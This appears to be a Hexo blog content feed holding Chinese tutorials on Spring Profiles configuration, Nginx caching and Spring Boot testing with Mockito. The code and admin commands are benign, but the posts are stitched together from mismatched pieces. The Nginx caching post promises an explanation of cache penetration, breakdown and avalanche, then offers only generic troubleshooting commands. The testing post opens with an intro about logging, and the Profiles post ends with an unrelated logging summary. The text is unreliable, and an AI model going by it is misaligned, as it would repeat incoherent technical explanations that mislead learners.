class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="配置类级别"><a href="#配置类级别" class="headerlink" title="配置类级别"></a>配置类级别</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Profile(&quot;dev&quot;)</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DevConfig</span> &#123;</span><br><span class="line">    <span class="meta">@PostConstruct</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;开发环境配置加载&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Profile(&quot;prod&quot;)</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ProdConfig</span> &#123;</span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> SecurityConfig <span class="title function_">securityConfig</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">SecurityConfig</span>();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="多-Profile"><a href="#多-Profile" class="headerlink" title="多 Profile"></a>多 Profile</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Profile(&#123;&quot;dev&quot;, &quot;test&quot;&#125;)</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DebugInterceptor</span> <span class="keyword">implements</span> <span class="title class_">HandlerInterceptor</span> &#123;</span><br><span class="line">    <span class="comment">// 只在 dev/test 环境生效</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="Profile-条件化配置"><a href="#Profile-条件化配置" class="headerlink" title="Profile 条件化配置"></a>Profile 条件化配置</h2><p>#</p><h2 id="ConditionalOnProperty"><a href="#ConditionalOnProperty" class="headerlink" title="@ConditionalOnProperty"></a>@ConditionalOnProperty</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="meta">@ConditionalOnProperty(prefix = &quot;feature&quot;, name = &quot;new-ui&quot;, havingValue = &quot;true&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NewUIService</span> &#123;</span><br><span class="line">    <span class="comment">// 当 feature.new-ui=true 时生效</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="meta">@ConditionalOnProperty(prefix = &quot;feature&quot;, name = &quot;new-ui&quot;, matchIfMissing = true)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DefaultUIService</span> &#123;</span><br><span class="line">    <span class="comment">// 当 feature.new-ui 未配置时也生效</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="配置属性"><a href="#配置属性" class="headerlink" title="配置属性"></a>配置属性</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># application-dev.yml</span></span><br><span class="line"><span class="attr">feature:</span></span><br><span class="line">  <span class="attr">new-ui:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">cache:</span> <span class="literal">false</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># application-prod.yml</span></span><br><span class="line"><span class="attr">feature:</span></span><br><span class="line">  <span class="attr">new-ui:</span> <span class="literal">false</span></span><br><span class="line">  <span class="attr">cache:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure><h2 id="环境特定配置"><a href="#环境特定配置" class="headerlink" title="环境特定配置"></a>环境特定配置</h2><p>#</p><h2 id="开发环境"><a href="#开发环境" class="headerlink" title="开发环境"></a>开发环境</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># application-dev.yml</span></span><br><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">datasource:</span></span><br><span class="line">    <span class="attr">url:</span> <span class="string">jdbc:h2:mem:testdb</span></span><br><span class="line">    <span class="attr">driver-class-name:</span> <span class="string">org.h2.Driver</span></span><br><span class="line">  </span><br><span class="line">  <span class="attr">jpa:</span></span><br><span class="line">    <span class="attr">hibernate:</span></span><br><span class="line">      <span class="attr">ddl-auto:</span> <span class="string">create-drop</span></span><br><span class="line">    <span class="attr">show-sql:</span> <span class="literal">true</span></span><br><span class="line"></span><br><span class="line"><span class="attr">logging:</span></span><br><span class="line">  <span class="attr">level:</span></span><br><span class="line">    <span class="attr">com.example:</span> <span class="string">DEBUG</span></span><br><span class="line">    <span class="attr">org.hibernate.SQL:</span> <span class="string">DEBUG</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="测试环境"><a href="#测试环境" class="headerlink" title="测试环境"></a>测试环境</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># application-test.yml</span></span><br><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">datasource:</span></span><br><span class="line">    <span class="attr">url:</span> <span class="string">jdbc:mysql://test-db:3306/test_db</span></span><br><span class="line">    <span class="attr">username:</span> <span class="string">test</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">test</span></span><br><span class="line">  </span><br><span class="line">  <span class="attr">redis:</span></span><br><span class="line">    <span class="attr">host:</span> <span class="string">test-redis</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8081</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="生产环境"><a href="#生产环境" class="headerlink" title="生产环境"></a>生产环境</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># application-prod.yml</span></span><br><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">datasource:</span></span><br><span class="line">    <span class="attr">url:</span> <span class="string">jdbc:mysql://prod-db:3306/prod_db</span></span><br><span class="line">    <span class="attr">username:</span> <span class="string">$&#123;DB_USERNAME&#125;</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">$&#123;DB_PASSWORD&#125;</span></span><br><span class="line">    <span class="attr">hikari:</span></span><br><span class="line">      <span class="attr">maximum-pool-size:</span> <span class="number">50</span></span><br><span class="line">      <span class="attr">minimum-idle:</span> <span class="number">10</span></span><br><span class="line">  </span><br><span class="line">  <span class="attr">jpa:</span></span><br><span class="line">    <span class="attr">hibernate:</span></span><br><span class="line">      <span class="attr">ddl-auto:</span> <span class="string">none</span></span><br><span class="line">    <span class="attr">show-sql:</span> <span class="literal">false</span></span><br><span class="line"></span><br><span class="line"><span class="attr">logging:</span></span><br><span class="line">  <span class="attr">level:</span></span><br><span class="line">    <span class="attr">root:</span> <span class="string">WARN</span></span><br><span class="line">    <span class="attr">com.example:</span> <span class="string">INFO</span></span><br></pre></td></tr></table></figure><h2 id="获取当前-Profile"><a href="#获取当前-Profile" class="headerlink" title="获取当前 Profile"></a>获取当前 Profile</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ProfileChecker</span> <span class="keyword">implements</span> <span class="title class_">EnvironmentAware</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> Environment environment;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setEnvironment</span><span class="params">(Environment environment)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.environment = environment;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">checkProfile</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 判断是否在指定 profile</span></span><br><span class="line">        <span class="type">boolean</span> <span class="variable">isDev</span> <span class="operator">=</span> environment.acceptsProfiles(Profiles.of(<span class="string">&quot;dev&quot;</span>));</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 获取所有 active profiles</span></span><br><span class="line">        String[] activeProfiles = environment.getActiveProfiles();</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 判断是否在任一 profile</span></span><br><span class="line">        <span class="type">boolean</span> <span class="variable">isProdOrTest</span> <span class="operator">=</span> environment.acceptsProfiles(Profiles.of(<span class="string">&quot;prod&quot;</span>, <span class="string">&quot;test&quot;</span>));</span><br><span class="line">        </span><br><span class="line">        System.out.println(<span class="string">&quot;当前环境: &quot;</span> + String.join(<span class="string">&quot;, &quot;</span>, activeProfiles));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="Profile-与配置优先级"><a href="#Profile-与配置优先级" class="headerlink" title="Profile 与配置优先级"></a>Profile 与配置优先级</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">优先级从高到低：</span><br><span class="line"></span><br><span class="line">1. 命令行参数: --server.port=9000</span><br><span class="line">2. Java 系统属性: -Dserver.port=9000</span><br><span class="line">3. 环境变量: SERVER_PORT=9000</span><br><span class="line">4. application-&#123;profile&#125;.properties/yml</span><br><span class="line">5. application.properties/yml</span><br><span class="line">6. @PropertySource</span><br><span class="line">7. SpringApplication.setDefaultProperties</span><br></pre></td></tr></table></figure><h2 id="配置加密"><a href="#配置加密" class="headerlink" title="配置加密"></a>配置加密</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># application.yml</span></span><br><span class="line"><span class="attr">jasypt:</span></span><br><span class="line">  <span class="attr">encryptor:</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">$&#123;JASYPT_PASSWORD&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">datasource:</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">ENC(encrypted_value_here)</span></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">JasyptConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean(&quot;jasyptStringEncryptor&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> StringEncryptor <span class="title function_">stringEncryptor</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">PooledPBEStringEncryptor</span> <span class="variable">encryptor</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PooledPBEStringEncryptor</span>();</span><br><span class="line">        <span class="type">SimpleStringPBEConfig</span> <span class="variable">config</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SimpleStringPBEConfig</span>();</span><br><span class="line">        config.setPassword(System.getenv(<span class="string">&quot;JASYPT_PASSWORD&quot;</span>));</span><br><span class="line">        config.setAlgorithm(<span class="string">&quot;PBEWITHHMACSHA512ANDAES_256&quot;</span>);</span><br><span class="line">        config.setPoolSize(<span class="number">1</span>);</span><br><span class="line">        encryptor.setConfig(config);</span><br><span class="line">        <span class="keyword">return</span> encryptor;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="测试中使用-Profile"><a href="#测试中使用-Profile" class="headerlink" title="测试中使用 Profile"></a>测试中使用 Profile</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@SpringBootTest</span></span><br><span class="line"><span class="meta">@ActiveProfiles(&quot;test&quot;)</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">MyIntegrationTest</span> &#123;</span><br><span class="line">    <span class="comment">// 使用 application-test.yml 配置</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@SpringBootTest</span></span><br><span class="line"><span class="meta">@ActiveProfiles(&#123;&quot;test&quot;, &quot;no-security&quot;&#125;)</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">MyControllerTest</span> &#123;</span><br><span class="line">    <span class="comment">// 使用多个 profile</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="容器化部署"><a href="#容器化部署" class="headerlink" title="容器化部署"></a>容器化部署</h2><p>#</p><h2 id="Dockerfile"><a href="#Dockerfile" class="headerlink" title="Dockerfile"></a>Dockerfile</h2><figure class="highlight dockerfile"><table><tr><td class="code"><pre><span class="line"><span class="keyword">FROM</span> openjdk:<span class="number">17</span>-jdk-slim</span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> target/app.jar app.jar</span></span><br><span class="line"><span class="keyword">ENTRYPOINT</span><span class="language-bash"> [<span class="string">&quot;java&quot;</span>, <span class="string">&quot;-Dspring.profiles.active=<span class="variable">$&#123;PROFILE&#125;</span>&quot;</span>, <span class="string">&quot;-jar&quot;</span>, <span class="string">&quot;/app.jar&quot;</span>]</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="Docker-Compose"><a href="#Docker-Compose" class="headerlink" title="Docker Compose"></a>Docker Compose</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">version:</span> <span class="string">&#x27;3&#x27;</span></span><br><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">app:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">myapp:latest</span></span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">SPRING_PROFILES_ACTIVE=prod</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">DB_USERNAME=root</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">DB_PASSWORD=secret</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="Kubernetes"><a href="#Kubernetes" class="headerlink" title="Kubernetes"></a>Kubernetes</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">app</span></span><br><span class="line">          <span class="attr">image:</span> <span class="string">myapp:latest</span></span><br><span class="line">          <span class="attr">env:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">SPRING_PROFILES_ACTIVE</span></span><br><span class="line">              <span class="attr">value:</span> <span class="string">&quot;prod&quot;</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">DB_USERNAME</span></span><br><span class="line">              <span class="attr">valueFrom:</span></span><br><span class="line">                <span class="attr">secretKeyRef:</span></span><br><span class="line">                  <span class="attr">name:</span> <span class="string">db-secret</span></span><br><span class="line">                  <span class="attr">key:</span> <span class="string">username</span></span><br></pre></td></tr></table></figure><h2 id="最佳实践"><a href="#最佳实践" class="headerlink" title="最佳实践"></a>最佳实践</h2><table><thead><tr><th>实践</th><th>说明</th></tr></thead><tbody><tr><td>默认配置</td><td>application.yml 放公共配置</td></tr><tr><td>环境配置</td><td>application-{env}.yml 放环境差异</td></tr><tr><td>敏感信息</td><td>使用环境变量或配置中心</td></tr><tr><td>本地开发</td><td>使用 H2 / 内存中间件</td></tr><tr><td>生产环境</td><td>关闭调试日志，启用监控</td></tr><tr><td>配置验证</td><td>启动时验证必要配置是否存在</td></tr></tbody></table><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Spring Profiles 提供了灵活的环境管理能力：</p><ol><li><strong>配置文件分离</strong>：application-{profile}.yml</li><li><strong>条件化 Bean</strong>：@Profile 注解</li><li><strong>Profile 组</strong>：组合多个 profile</li><li><strong>优先级</strong>：命令行 &gt; 环境变量 &gt; profile 配置 &gt; 默认配置</li></ol><p>合理使用 Profile，可以让应用在不同环境间无缝切换。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>日志级别设置：根据环境设置合适的级别</p></li><li><p>日志格式配置：添加 traceId 便于链路追踪</p></li><li><p>日志输出：控制台输出和文件输出的配置</p></li><li><p>日志归档：设置滚动策略和保留时间</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Nginx 静态资源缓存配置</title>
      <link href="//nginx-jing-tai-zi-yuan-huan-cun-pei-zhi/"/>
      <url>//nginx-jing-tai-zi-yuan-huan-cun-pei-zhi/</url>
      
        <content type="html"><![CDATA[<h1 id="Nginx-静态资源缓存配置"><a href="#Nginx-静态资源缓存配置" class="headerlink" title="Nginx 静态资源缓存配置"></a>Nginx 静态资源缓存配置</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Nginx </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SpringBoot测试策略与Mock</title>
      <link href="//springboot-ce-shi-ce-lue-yu-mock/"/>
      <url>//springboot-ce-shi-ce-lue-yu-mock/</url>
      
        <content type="html"><![CDATA[<h1 id="SpringBoot测试策略与Mock"><a href="#SpringBoot测试策略与Mock" class="headerlink" title="SpringBoot测试策略与Mock"></a>SpringBoot测试策略与Mock</h1><p>Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。</p><h2 id="测试依赖"><a href="#测试依赖" class="headerlink" title="测试依赖"></a>测试依赖</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-test<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">scope</span>&gt;</span>test<span class="tag">&lt;/<span class="name">scope</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="单元测试"><a href="#单元测试" class="headerlink" title="单元测试"></a>单元测试</h2><p>#</p><h2 id="纯单元测试（JUnit-5-Mockito）"><a href="#纯单元测试（JUnit-5-Mockito）" class="headerlink" title="纯单元测试（JUnit 5 + Mockito）"></a>纯单元测试（JUnit 5 + Mockito）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@ExtendWith(MockitoExtension.class)</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">UserServiceTest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Mock</span></span><br><span class="line">    <span class="keyword">private</span> UserRepository userRepository;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Mock</span></span><br><span class="line">    <span class="keyword">private</span> EmailService emailService;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@InjectMocks</span></span><br><span class="line">    <span class="keyword">private</span> UserService userService;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Test</span></span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">shouldCreateUser</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// Given</span></span><br><span class="line">        <span class="type">CreateUserRequest</span> <span class="variable">request</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CreateUserRequest</span>(<span class="string">&quot;test&quot;</span>, <span class="string">&quot;test@test.com&quot;</span>);</span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">User</span>(<span class="number">1L</span>, <span class="string">&quot;test&quot;</span>, <span class="string">&quot;test@test.com&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">when</span>(userRepository.save(any(User.class))).thenReturn(user);</span><br><span class="line">        doNothing().<span class="keyword">when</span>(emailService).sendWelcomeEmail(anyString());</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// When</span></span><br><span class="line">        <span class="type">User</span> <span class="variable">result</span> <span class="operator">=</span> userService.create(request);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// Then</span></span><br><span class="line">        assertNotNull(result);</span><br><span class="line">        assertEquals(<span class="string">&quot;test&quot;</span>, result.getUsername());</span><br><span class="line">        verify(userRepository).save(any(User.class));</span><br><span class="line">        verify(emailService).sendWelcomeEmail(<span class="string">&quot;test@test.com&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Test</span></span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">shouldThrowWhenUserExists</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// Given</span></span><br><span class="line">        <span class="type">CreateUserRequest</span> <span class="variable">request</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CreateUserRequest</span>(<span class="string">&quot;test&quot;</span>, <span class="string">&quot;test@test.com&quot;</span>);</span><br><span class="line">        <span class="keyword">when</span>(userRepository.existsByUsername(<span class="string">&quot;test&quot;</span>)).thenReturn(<span class="literal">true</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// When &amp; Then</span></span><br><span class="line">        assertThrows(BusinessException.class, () -&gt; &#123;</span><br><span class="line">            userService.create(request);</span><br><span class="line">        &#125;);</span><br><span class="line">        </span><br><span class="line">        verify(userRepository, never()).save(any());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="常用-Mockito-方法"><a href="#常用-Mockito-方法" class="headerlink" title="常用 Mockito 方法"></a>常用 Mockito 方法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 设置返回值</span></span><br><span class="line"><span class="keyword">when</span>(mock.method()).thenReturn(value);</span><br><span class="line"><span class="keyword">when</span>(mock.method()).thenThrow(exception);</span><br><span class="line"><span class="keyword">when</span>(mock.method()).thenAnswer(invocation -&gt; &#123; ... &#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 无返回值方法</span></span><br><span class="line">doNothing().<span class="keyword">when</span>(mock).voidMethod();</span><br><span class="line">doThrow(exception).<span class="keyword">when</span>(mock).voidMethod();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 验证</span></span><br><span class="line">times(n)        <span class="comment">// 调用n次</span></span><br><span class="line">never()         <span class="comment">// 从不调用</span></span><br><span class="line">atLeast(n)      <span class="comment">// 至少n次</span></span><br><span class="line">atMost(n)       <span class="comment">// 最多n次</span></span><br><span class="line">verify(mock, times(<span class="number">2</span>)).method();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 参数匹配</span></span><br><span class="line">any()           <span class="comment">// 任何类型</span></span><br><span class="line">anyString()     <span class="comment">// 任何字符串</span></span><br><span class="line">anyLong()       <span class="comment">// 任何Long</span></span><br><span class="line">any(Class.class)<span class="comment">// 任何指定类型</span></span><br><span class="line">eq(<span class="string">&quot;value&quot;</span>)     <span class="comment">// 等于</span></span><br><span class="line">argThat(arg -&gt; arg.length() &gt; <span class="number">5</span>)  <span class="comment">// 自定义匹配</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 连续返回值</span></span><br><span class="line"><span class="keyword">when</span>(mock.method())</span><br><span class="line">    .thenReturn(<span class="string">&quot;first&quot;</span>)</span><br><span class="line">    .thenReturn(<span class="string">&quot;second&quot;</span>)</span><br><span class="line">    .thenThrow(<span class="keyword">new</span> <span class="title class_">RuntimeException</span>());</span><br></pre></td></tr></table></figure><h2 id="集成测试"><a href="#集成测试" class="headerlink" title="集成测试"></a>集成测试</h2><p>#</p><h2 id="SpringBootTest"><a href="#SpringBootTest" class="headerlink" title="@SpringBootTest"></a>@SpringBootTest</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@SpringBootTest</span></span><br><span class="line"><span class="meta">@AutoConfigureMockMvc</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">UserControllerIntegrationTest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> MockMvc mockMvc;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserRepository userRepository;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@BeforeEach</span></span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">setUp</span><span class="params">()</span> &#123;</span><br><span class="line">        userRepository.deleteAll();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Test</span></span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">shouldCreateUser</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">CreateUserRequest</span> <span class="variable">request</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CreateUserRequest</span>(<span class="string">&quot;test&quot;</span>, <span class="string">&quot;test@test.com&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        mockMvc.perform(post(<span class="string">&quot;/users&quot;</span>)</span><br><span class="line">                .contentType(MediaType.APPLICATION_JSON)</span><br><span class="line">                .content(objectMapper.writeValueAsString(request)))</span><br><span class="line">            .andExpect(status().isOk())</span><br><span class="line">            .andExpect(jsonPath(<span class="string">&quot;$.code&quot;</span>).value(<span class="number">200</span>))</span><br><span class="line">            .andExpect(jsonPath(<span class="string">&quot;$.data&quot;</span>).isNumber());</span><br><span class="line">        </span><br><span class="line">        assertEquals(<span class="number">1</span>, userRepository.count());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Test</span></span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">shouldGetUser</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userRepository.save(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="string">&quot;test&quot;</span>, <span class="string">&quot;test@test.com&quot;</span>));</span><br><span class="line">        </span><br><span class="line">        mockMvc.perform(get(<span class="string">&quot;/users/&#123;id&#125;&quot;</span>, user.getId()))</span><br><span class="line">            .andExpect(status().isOk())</span><br><span class="line">            .andExpect(jsonPath(<span class="string">&quot;$.data.username&quot;</span>).value(<span class="string">&quot;test&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Test</span></span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">shouldReturn404WhenNotFound</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        mockMvc.perform(get(<span class="string">&quot;/users/999&quot;</span>))</span><br><span class="line">            .andExpect(status().isOk())</span><br><span class="line">            .andExpect(jsonPath(<span class="string">&quot;$.code&quot;</span>).value(<span class="number">20001</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="MockBean"><a href="#MockBean" class="headerlink" title="@MockBean"></a>@MockBean</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@SpringBootTest</span></span><br><span class="line"><span class="meta">@AutoConfigureMockMvc</span></span><br><span class="line"><span 